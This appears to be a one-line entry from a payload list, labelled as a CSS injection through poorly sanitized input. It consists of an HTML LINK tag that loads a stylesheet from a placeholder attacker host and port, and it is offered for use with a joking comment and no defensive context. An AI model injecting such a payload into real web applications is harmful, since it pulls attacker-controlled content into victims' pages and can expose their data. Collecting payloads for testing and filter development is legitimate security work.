#CSS injection via bad sanatization input (2022 epic payload xD) : <LINK REL="stylesheet" HREF="http://attacker_IP:attacker_PORT/xss.css">